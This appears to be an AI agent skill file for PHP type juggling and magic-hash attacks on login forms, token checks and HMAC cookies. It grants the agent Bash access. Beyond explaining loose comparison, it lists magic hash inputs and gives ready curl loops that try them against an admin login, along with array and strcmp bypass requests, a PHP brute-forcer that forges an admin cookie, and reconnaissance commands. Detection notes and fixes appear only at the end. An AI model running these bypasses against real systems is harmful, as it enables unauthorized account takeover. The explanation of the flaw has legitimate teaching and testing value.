- name
- php-type-juggling
- description
- PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"authentication","when_to_use":"php type juggling, loose comparison, magic hash, 0e hash, strcmp bypass, php authentication bypass, hash collision php, php == comparison, md5 collision, sha1 collision","tags":"web-application, php, authentication-bypass, type-juggling, magic-hash, loose-comparison","mitre_attack":"T1190, T1606.001"}
# PHP Type Juggling and Magic Hash Attacks
> **Authorized-use only.** Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.
PHP is a loosely typed language. When comparing values with `==` (loose) rather than `===` (strict), PHP coerces types — a string beginning with `0e` followed only by digits is treated as scientific notation and equals `0`. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors.
Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.
## ATT&CK Mapping
| Technique | Notes |
|-----------|-------|
| T1190 | Exploit public-facing application — auth bypass via comparison flaw |
| T1606.001 | Forge web credentials — force authentication with crafted hash values |
## 1. Loose Comparison Cheat Sheet
```
'0010e2' == '1e3' → true (both evaluate as float 1000)
'123' == 123 → true (string cast to int)
'123abc' == 123 → true (leading numeric string)
'abc' == 0 → true (non-numeric string == 0 in PHP 5/7)
'' == 0 → true
0 == false → true
false == NULL → true
NULL == '' → true
md5([]) == NULL → true (NULL == any string starting with 0e)
sha1([]) == NULL → true
```
PHP 8.0 change: `'abc' == 0` now evaluates to `false`. Check target PHP version before assuming string-zero bypass.
## 2. Magic Hashes — 0e Collisions
When a hash output starts with `0e` followed only by digits, PHP's `==` comparison treats it as float `0`. Two such hashes are "equal" under `==` regardless of their actual values.
### MD5 Magic Strings
| Input | MD5 Hash |
|-------|----------|
| `240610708` | `0e462097431906509019562988736854` |
| `QNKCDZO` | `0e830400451993494058024219903391` |
| `0e1137126905` | `0e291659922323405260514745084877` |
| `0e215962017` | `0e291242476940776845150308577824` |
| `aabg7XSs` | `0e087386482136013740957780965295` |
### SHA-1 Magic Strings
| Input | SHA-1 Hash |
|-------|-----------|
| `10932435112` | `0e07766915004133176347055865026311692244` |
| `aaroZmOk` | `0e66507019969427134894567494305185566735` |
| `aaK1STfY` | `0e76658526655756207688271159624026011393` |
### SHA-224 / SHA-256 Magic Strings
| Hash | Input | Output |
|------|-------|--------|
| SHA-224 | `10885164793773` | `0e281250946775200129471613219196999537878926740638594636` |
| SHA-256 | `34250003024812` | `0e46289032038065916139621039085883773413820991920706299695051332` |
| SHA-256 | `TyNOQHUS` | `0e66298694359207596086558843543959518835691168370379069085300385` |
### Exploitation
```bash
# Login bypass — submit a magic hash input instead of the real password
# Server code: if (md5($input) == $stored_hash) { login() }
# If $stored_hash is also a 0e... hash, any 0e... input collides.
# Try magic inputs against a login endpoint
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
echo -n "Trying $magic: "
curl -si "https://target.example.com/login" \
-d "username=admin&password=${magic}" \
| grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
done
```
## 3. NULL Bypass via Array Input
`md5([])` and `sha1([])` in PHP 5/7 return `NULL` with a warning. Under loose comparison, `NULL == ''` is true. If the server compares `md5($input) == ''` or similar:
```bash
# Send array input to hash functions — triggers NULL return
curl -si "https://target.example.com/login" \
-d "username=admin&password[]=" \
| grep -E "Location:|Set-Cookie:|error"
# POST with array notation
curl -si "https://target.example.com/verify" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "hash[]=&user=admin" \
| grep -i "success\|error\|redirect"
```
## 4. strcmp() Return Value Bypass
`strcmp()` returns `0` (equal) on success, non-zero otherwise. Under loose comparison, `strcmp($input, $secret) == 0` can be bypassed by passing an array (returns NULL, and `NULL == 0` is true in PHP 5/7):
```bash
# Bypass strcmp-based password check
# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }
curl -si "https://target.example.com/login" \
-d "username=admin&pass[]=" \
| grep -iE "success|welcome|redirect|Location"
```
## 5. HMAC Brute-Force for 0e Collision (Magic HMAC)
When a cookie HMAC is verified with loose comparison against `"0"`, an attacker brute-forces an expiration timestamp until `hash_hmac('md5', payload, key)` produces a `0e...` string — which equals `"0"` under `==`.
This works when the key is empty or known (e.g., leaked via `.env`).
```bash
# PHP script to find a magic HMAC timestamp (empty key example)
# Run: php find_magic_hmac.php
cat > /tmp/find_magic_hmac.php << 'EOF'
<?php
$username = 'admin';
$key = ''; // replace with known key or empty string leak
for ($i = 1424869663; $i < 1835970773; $i++) {
$out = hash_hmac('md5', $username . '|' . $i, $key);
if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) {
echo "Found: expiration=$i hash=$out\n";
break;
}
}
EOF
php /tmp/find_magic_hmac.php
# Then craft the cookie with hmac=0 and the found expiration
# cookie: username=admin; expiration=<found>; hmac=0
```
## 6. Type Juggling in JSON APIs
JSON deserialization can also introduce juggling issues when PHP converts JSON types to PHP types before comparison:
```bash
# Send integer 0 instead of string "false"/"no"
curl -si "https://target.example.com/api/verify" \
-H "Content-Type: application/json" \
-d '{"token": 0, "user": "admin"}' \
| grep -iE "success|error|200"
# Send true to bypass boolean checks
curl -si "https://target.example.com/api/verify" \
-H "Content-Type: application/json" \
-d '{"admin": true, "role": "admin"}' \
| grep -iE "success|error|200"
```
## 7. Identify Vulnerable PHP Code Patterns
```bash
# Grep the target's source (if accessible — e.g., leaked backup, open source app)
grep -rn '==[[:space:]]*\(md5\|sha1\|hash\|strcmp\|password_verify\)' /var/www/html/ 2>/dev/null
grep -rn 'if.*md5.*==\|if.*sha1.*==' /var/www/html/ 2>/dev/null
grep -rn 'strcmp.*==\s*0\|0\s*==.*strcmp' /var/www/html/ 2>/dev/null
# Look for PHP version to assess 0e / array bypass viability
curl -si "https://target.example.com/info.php" | grep -i "PHP Version"
curl -si "https://target.example.com/" | grep -i "x-powered-by"
```
## 8. Common Targets in the Wild
| Application Class | Likely Sink |
|-------------------|-------------|
| Custom PHP login forms | `md5($pass) == $stored` |
| Token validation endpoints | `strcmp($token, $secret) == 0` |
| HMAC cookie verifiers | `hmac($cookie) != $supplied` using `==` |
| Email unsubscribe links | `md5($email) == $_GET['hash']` |
| Admin PIN verification | `sha1($pin) == $db_hash` |
## Detection Notes
- PHP 8.0+ resolves `'abc' == 0 → false` and makes `strcmp` throw on array input; PHP 7 and below remain vulnerable
- Static analysis: `psalm --taint-analysis`, `phpstan` level 8 flag loose comparisons
- Dynamic: supply `[]` for hash/strcmp parameters, observe PHP warning in response or error logs
- Fix: always use `===` for hash comparisons and `hash_equals()` for timing-safe HMAC checks
## References
- [PayloadsAllTheThings: Type Juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling)
- [OWASP: PHP Type Juggling](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf)
- [Magic Hashes — spaze/hashes](https://github.com/spaze/hashes)
- [Super Magic Hashes — Almond Consulting](https://offsec.almond.consulting/super-magic-hash.html)
View on GitHub